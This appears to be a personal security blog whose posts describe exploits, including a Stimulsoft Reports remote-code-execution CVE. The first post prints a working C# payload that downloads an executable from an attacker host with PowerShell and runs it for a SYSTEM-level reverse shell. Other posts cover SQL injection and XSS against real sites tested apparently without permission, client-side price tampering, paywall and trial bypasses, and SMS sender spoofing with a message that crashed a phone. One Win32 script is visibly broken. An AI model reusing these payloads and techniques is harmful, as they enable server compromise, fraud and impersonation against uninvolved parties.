Friday, November 23, 2018

CVE-2020-15865 - Reporting C# Serialization: Remote Code Execution

The Stimulsoft Reports 2013.1.1600.0 library has code execution built in by design, and can be used to fully compromise the application server running it. Buried in the XML of the report file is a base-64 encoded string that contains C# code that a user can edit, then re-encode, submit, and execute.

It's pretty clear that the code is compiled and run, because the comments say "generated code - do not modify."

... so, of course, let's modify it!

I have to do a lot of testing at this point to make sure that modifying the code doesn't completely break it. After all, I still need it to run, I just want it to also run my code! The application kept crashing as I tried importing other namespaces that I could use, such as one for writing to the operating system (using System.IO). Looks like some of this namespaces are blacklisted, which is smart. It's making it difficult for me to get in.

Eventually the one able to add, without causing errors, is using System.Diagnostics. Which means I can use Process() to start a cmd.exe process and then use a Powershell command to download a payload and get a command shell with Meterpreter. That's what I do. With the malicious changes (in red), it looks like:

<script>

using System.Diagnostics;

namespace Reports {

    public class New_Report : Stimulsoft.Report.StiReport
    {
        public New_Report()
        {
            this.InitializeComponent();
            Process c = newProcess();
            c.StartInfo.FileName = @"cmd.exe";
            c.StartInfo.Arguments = @"/c powershell Invoke-WebRequest -Uri http://ATTACKER-IP/scary.exe -Outfile C:\ProgramData\scary.exe";
            c.Start();

            Process c1 = new Process();
            c1.StartInfo.FileName = @"cmd.exe";
            c1.StartInfo.Arguments = @"/c C:\ProgramData\scary.exe";
            c1.Start();


        }
        
        #region StiReport Designer generated code - do not modify

            #endregion StiReport Designer generated code - do not modify

    }
}
</script>

Since this application is running as user NT AUTHORITY\SYSTEM, the Meterpreter shell returned to the attacker is also running as root.

Some disclaimers: it took a little discovery and trial and error to figure out that the server was running Windows, and which directory I would be able to download the payload to, permissions for executing Powershell scripts etc. Also, depending on how fast the download is, the attacker may have to download and execute the payload in two separate scripts.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15865




Monday, August 13, 2018

Paywalls and Redirects

It is well known that paywalls can commonly be circumvented by editing the client side code so that the content is no longer hidden. But what about when that code is server side? Here is a quick "no tools" way of getting around certain kinds of paywalls.

Disclaimer: don't get around paywalls. It's rude. Pay content providers for content. Anyway... here is the idea. You are on a site with mixed paywall and non-paywall content. You're looking around trying use the typical methods: to find the element to delete or the flag to set to be able to see the content. You're comparing application logic for displaying the paywall vs non-paywall stuff. No luck. In my case, I am presented with this URL, which has a paywall error on the page:

awesome.com/pants

I wondered if maybe the content had been cached and I could view it that way with an "in site" search (in Google, "site:awesome.com/pants [OPTIONAL_SEARCH_TERM]"). Bingo! There are links like:

awesome.com/pants/pants01
awesome.com/pants/pants02

I am able to navigate to these pages and view the "pants" content. But what if I want to view "socks" content? Even though only the "pants" page was cached on Google, it's all I need, because this page happens to link to other pages behind the paywall. But what about the ones that don't have links? Well, since I have an example of the convention used in the URL page, using the root of the URL as a hint, I can craft any URL needed to access all the others as well. For example:

awesome.com/kneesocks

This probably means it has these behind the paywall:

awesome.com/kneesocks/kneesocks01
awesome.com/kneesocks/kneesocks02

And so it does! Now between the links on these pages and the formulaic predictable URL, I can navigate around the rest of the paywall. Additionally, a mistaken URL will very helpfully redirect if the last directory is correct:

awesome.com/pants/kneesocks03  >  [301 status error]  >  awesome.com/kneesocks/kneesocks03

Suggestion to the site for mitigating this risk: require authorization for the pages that need it, whether they are the redirect page or the old page.


Saturday, July 28, 2018

Displaying API Keys Client Side

... is a bad idea.

I was pen testing for a friend, and found that most of the application logic was done client-side, which included a REST call to an API. I generally expect sensitive things like keys, app secrets, etc. to be only called server side in non publicly visible code, or at least reference a configuration file with the proper permissions. It is too easy to hijack someone else's API and either run up the bill, or the API limit, or else misuse it in a destructive way (for example, for the Google custom site image search API, one could use the admin console to limit the custom sites to only not-so-nice images, or an image from a server that lies about the MIME type and returns files with malicious code embedded, etc.)

This will probably happen more and more with the widespread use of APIs, specifically for services directly displayed to the user, such as maps or images, since it is tempting and convenient to just call the API directly client-side.

Ollydebug and Email Verification Bypass

Ollydebug combined with Pywin32 are great for finding hidden buttons on desktop applications that are invisible but still active. That Python library makes it easy to access and use them. (I haven't done that much research with desktop applications, and I'm almost positive a tool already exists to do these things in a more automated way, but this is one pretty heinous way, mclovin.py...)

import time
import win32con
import win32gui
import win32api
import win32process
import winxpgui
import struct
import pywintypes

mclovin, cmd = win32.api.CreateProcess(
None, #name
cmd,
None, #process attributes 
None, #thread attributes
0, #inheritance flag
0, #creation flag SW_NORMAL  #invisible, but I can still write to it: 1
win32con.SHOW_MINIMIZED
None, #new environment
None, #current directory
win32process.STARTUPINFO()
)
 
#brunningonline.net
def getEditText(hwnd):
    result = []
    bufferlength = struct.pack('i',255)
    linecount = win32gui.SendMessage(hwnd, win32con.EM_GETLINECOUNT, 0,0)
    linetext = linetext+"".ljust(253)
    linelength = win32gui.SendMessage(hwnd, win32con.EM_GETLINECOUNT, line, linetext)
    result.append(linetext[:linelength])
    return result

def wcallb(hwnd, handle):
    if (win32gui.GetClassName(hwnd) == 'Edit'):
         handle[win32gui.GetClassName(hwnd)+str(hwnd)] = hwnd
    else:
        handle[win32gui.GetClassName(hwnd)] = hwnd
 
    try:
        win32gui.EnumChildWindows(hwnd, wcallb, handle)
    except:
        print ('?no hijos?')
     return True
 
handle = {}
 
while not handle: #loop until we find the window
    time.sleep(0.1)
    win32gui.EnumThreadWindows(tid, wcallb, handle) #select fro future list of handles, not the top window
    print(handle) 
 
#if tabbing worked, I wouldn't need to find instances of components
#mclovin is a valid handle, but keys aren't sent to the window?
#handle['Button'] <-- Output 'Edit' <-- three 'Static' <-- window
'#32770' <-- dialog
 
#don't trust ordering of the fields, read the label text to determine
#text a:\***.csv
onlyEdits = []
for thehandle in handle.keys():
    if "Edit" in thehandle:
        onlyEdits.append(handle[thehandle])
 
try: 
     for k in onlyEdits:
        testPath = getEditText(k)
        if 'a:\***.csv' in testPath:
            editPath = k
except:
    print('couldn't find it)
 
#delete the current text which is at most 20 chars, replace with my own keystrokes
 
for c in range(20):
    win32api.PostMessage(
         editPath,
         win32con.WM_KEYDOWN,
         win32con.VK_DELETE,
        
         )

    win32api.PostMessage (
         editPath,
         win32con.WM_KEYUP,
         win32con.VK_DELETE,
        
         )

for escritarme in "*****\mclovinUSA.txt": 
    win32api.SendMessage(
         editPath
         win32con.WM_CHAR,
         ord(escritarme),
         0
)

Whew that's an ugly script. Anyway, unrelated, but a major social media network implies a lot of verification steps to the user, but if the user clicks the help link to exit the process early and get to the main site, it's clear that the account has already been created and can be used without further verification.

Sunday, July 15, 2018

Customer Support Forum & Trial Workaround

This exploit will leverage the power of a customer support discussion forum. Support teams can give so much advice on how application logic works when troubleshooting user issues, they can unintentionally help out if your exploit is not working. Reading old archives of these discussions can be a great resource, both for application logic and helpful links.

In this case, I was wondering if I had other options for the trial versions of a service. Yes, there's a premium service for 1 week, and a standard service for 1 year... but can I hack it to get a trial they don't offer? The premium for 1 year? Yes.

At first, I signed up for the standard tier trial for 1 week. After some googling, I came across a support forum with an old link to a page they no longer supported. (Since the company was bought by another, the users are now encouraged to go through the parent company's site to be able to get the special 1 year offer... but the user registration process is much harder, requiring a service plan, account number, etc.) So, instead, I used the defunct page to get a link to the premium 1 year service, while still logged in with the other trial. It didn't seem to work at first. Then I found the customer service thread describing how the service must be inactivated before the new one could start. So I did that, and watched the subscription end date of my trial reset. Success!

Keep in mind, this hack doesn't seem to be active anymore. After all, a year is PLENTY of time for development to patch a fix!

UPDATE: It actually is still active... sign up for the short trial, then reuse a URL parameter from the first trial's URL in the longer trial, which references the partner company.

Wednesday, May 23, 2018

Low-Tech Random Number Generator Hacks


 This is a fun one and doesn't require any programming knowledge or high tech.

Many systems rely on random number generators. They are typically found in games to create the environment's seemingly random behavior. But because random number generators start with a "seed" (a static number the pseudorandom algorithm starts with) it's pretty easy to predict what the next "random" action will be if the generator is restarted. The key is figuring out what triggers the generator's algorithm to restart. Within the context of a game, this might mean restarting a level puts all the enemies back in the same place... but what about other systems?

Years ago, I was a volunteer in a medical study related to measuring sleep deprivation. As part of the experiment, there was a cognitive test for reaction time (which helped the doctor measure how quality of sleep affected alertness... spoiler: it affects it quite a lot!). To perform the test, the user sits in front of a monitor and presses a button if they see a red dot appear on the screen. The dot, of course, appears at random intervals. However, I noticed if I accidentally pressed the button when the screen was empty, the dot would always come up after the same amount of time after the mistaken press. It was clearly resetting the system in some way. If I counted a few beats after my 'mistaken' press, I could predict when the dot would show up next. This was enough to rig it so I could react before even seeing the dot and get a perfect, superhuman reaction time score as a result: do a 'mistaken' press, wait, press, see red dot, repeat. After doing this for a few days, an annoyed researcher approached me:

"We're getting some impossible results... can you please try to stop doing what you're doing? Only press when you see the red dot? Thanks."

That's what he said, but his face said, "Stop messing around."

The study had a lot of control variables. For example, I wasn't allowed to have windows, computers, phones, live TV or clocks (to make sure my perception of time wasn't affecting how tired I felt). They suspected I was trying to count time because the IV drip had a "drips per second" metric on the display, and covered it with tape.

I do not recommend messing up the integrity of someone's scientific research just to try this out... but it seems that random number generators show up in lots of places that aren't games. It turns out they are so easy to hack, you just might do it by accident!


Sunday, April 1, 2018

Basic SQL Injection and XSS : OWASP Juice Shop and Beyond!

I've been learning how to use Burp Suite to speed up things I used to script. It's not a complete replacement for all projects (see my previous post about about shuffling MMS messages around, or polling scripts to alert me to changes in an upload folder, for example) but it's fantastic so far. A wonderful place to test has been OWASP Juice Shop, an intentionally vulnerable Javascript-based site, which has a score board for the various vulnerabilities found by its users.

One challenge was to find a hidden language file. It was easy to find the directory where the other language files were kept (and thus get the format of the file name, es_ES.json), but significantly more difficult to automate iterating over 4000 or more known language codes such as cs_CZ or es_ES to wait for a 200 OK status to come back.  I would have normally used a Python script here, but it could be tried in Burp Suite's "repeater" tool instead by loading the language codes into a payload and then running a custom packet (although, maybe not: the tricky part would be in the case of fictional languages that may not have a country code associated with it, so random 2-letter combinations may be brute forced faster with a script. Not sure - let me know in the comments if there's a Burp Suite way instead).

Long story short, Juice Shop is great practice tool... but what about other sites?

Hotel Rate and Hidden Variables


One hotel's reservation page can be edited so that it charges an incorrect room rate. This happens by editing two variables; one javascript variable for islovelyrate can be set to true, and, likewise, the lovelyrate variable can be set to any number. The islovelyrate variable forces a recalculation of the price just before the payment page, which then uses whatever rate amount the client-side code provided. There may be further server-side validation to prevent the bad amount from going through, but I stopped short of entering payment information, so I don't know.

Rental Site - SQLi, PHP


This one is full of fascinating issues. It is vulnerable to SQL injection, and has verbose SQL and PHP errors, which lead to finding the publicly readable directories where the .php files are stored. This included old copies of the PHP scripts, labeled as "reserve.php OLD" as opposed to "reserve.php". Because the file extension wasn't .php, the server allowed me to download and view the code in the old copies, instead of executing the PHP. It turns out that the old code must be very similar to the new version, because it was vulnerable to the same attacks that the old one was. The scripts included parameter names for PHP session variables, full SQL queries, other directories on the server, etc. Luckily no credentials were hard coded. Errors from trying to run PHP scripts as one-offs lead to more verbose errors which lead to several more readable directories with PHP scripts, including the admin section, and scripts for sending SMS to guests from the site (which functioned, as demonstrated with a temporary phone number). There was little to no input validation, so the product could be reserved for dates with a sooner start date than ending date, causing the product's final cost to be calculated as 0.00. Additionally, there were no upper bounds on date, so trying to get a quote for Dec 1, 1500 to Dec 1, 2020 seemed to cause a soft crash for a little while.

This site's one saving grace is that it did not allow me to upload my own file to one of these seemingly wide-open directories, despite the HTTP OPTIONS request returning POST. However, with a little more effort, I'm almost positive there would be a way to.

Organization - XSS, SQLi


This one was unusual. The SQL error returned revealed that the URL parameter passed to it was being used in various parts of the query in different ways, sometimes as a part of a column name, table name, or in the where clause parameter itself. I don't think I've ever seen that before, and at first, it was difficult to see how to SQL inject something like this. It was interesting that there were a lot of joins in the query, which showed a lot of table names. Other pages where more easily SQL injectable (with things like ‘ or ‘1’=‘1 (I couldn’t escape the end of the query with a - - comment, so I used the ending apostrophe). On one of these pages with a simpler query, I was able to SQL inject with a UNION which returned a different table's data (despite it only being designed to return one value, it luckily listed all of them). I got a privilege error when my output command failed to write the results to a file (which is okay because it was already displaying multiple results), but that gave me the current database user's account name.

A simple XSS attack worked in the search box of the site, mainly because it caused a SQL error which then executed the contents of the <script> tag when it displayed. I wonder if I would be able to insert the script tag so it would persist in the database, and execute for other users.

 

 

 






Sunday, March 18, 2018

Spoofing MMS and Crashing iPhone 4

Around 2013, I exclusively used Google Voice. It seemed silly that telecom companies would only offer phone plans that charged separately for data, voice, and messaging or even just messaging and voice (minutes) when it could all just be sent over data (see previous post about creating a data-only phone plan). The only problem I had with it was that Google Voice didn't support MMS (although I'm happy to say that, as of 2018, they do now).

But could there be a way to force it? I gave it a shot. Overall, it was pretty hacked together, but I was able to receive a photo at my phone, and I could send a photo to a phone from an email client on my phone. This is how it worked: I used an email server (that comes with Linux by default) and wrote a script to route MMS messages across the email account, spoofing the phone number so that responses to the text would be sent back to the phone. After all, an MMS or SMS is basically just an email protocol. Look at the structure of an SMS address:

5558675309@txt.att.net

The first part is your phone number, and the part after the @ is the name of the phone company's SMS server (in this case, AT&T, but you can google the name of yours).

One you know your phone's SMS address, you can use it as part of a call to the email program. In the command line, it's just called mail:

echo "hey girl hey" | mail -v 5551118888@txt.att.net -F 5558675309@txt.att.net -f ConanOBrien

This will send mail to the 111-8888 number, and make it look like it was sent from the 867-5309 number (or "ConanOBrien"). Check the man page for "mail" for more information. Note that if you are testing by using an email address as a target, some email servers (such as an organization using gmail) will blacklist spoofed messages, because that obviously comes off as pretty sketchy. Additionally, don't expect too much privacy if you try to go through a temporary email service, especially one with a public facing inbox like Mailinator. If the user has a way to view the traffic it could show a lot of private details like the host name of your local machine:

Received: from [MY LOCAL DOMAIN] ([MY HOSTNAME] [MY IP])
        by [MAILSPAMMER SITE] with SMTP (Postfix)
        for [INBOX NAME]@mailinator.com;
        Sat, 04 Jan 2014 10:26:39 -0800 (PST)
Received: by [MYCOMPUTER LOCAL DOMAIN] (Postfix, from userid 123)
    id 49C1AEEAAEE; Sat,  4 Jan 2014 13:39:14 -0500 (EST)
To: [MAILSPAMMER SITE]
Subject: subject
Date: Sat,  4 Jan 2014 13:39:14 -0500 (EST)
From: [MYPHONENUMBER]@[PROTOCOL].[CARRIER DOMAIN GATEWAY] ([MYPHONENUMBER]@[PROTOCOL].[CARRIER DOMAIN GATEWAY])
Sender: [MYPHONENUMBER]@[PROTOCOL].[CARRIER DOMAIN GATEWAY]
x-connecting-ip: [MY IP]
x-received-time: 1782851999324
MIME-Version: 1.0

Yikes. Anyway, during this course of this project, I had to attach a photo to an SMS message. One way caused problems for the target (it crashed an iPhone 4):

uuencode little_kitten.JPG little_kitten.JPG | mail -s "Can you see an adorable cat (mms)?" 55511188888@txt.att.net -F "Burninator" -r "5558675309@txt.att.net"

(or possibly MMS.att.net instead of TXT.att.net)

Oops... who knew such an adorable cat picture could crash your phone. It was a text bomb. This sent a lot of bizarre characters to the phone, and I'm honestly not sure if it was because of the amount of data that was being interpreted as text (instead of an image) or if one of those unencoded characters was the cause of the crash (perhaps similar to a problem from last month where a unicode symbol was crashing iPhones).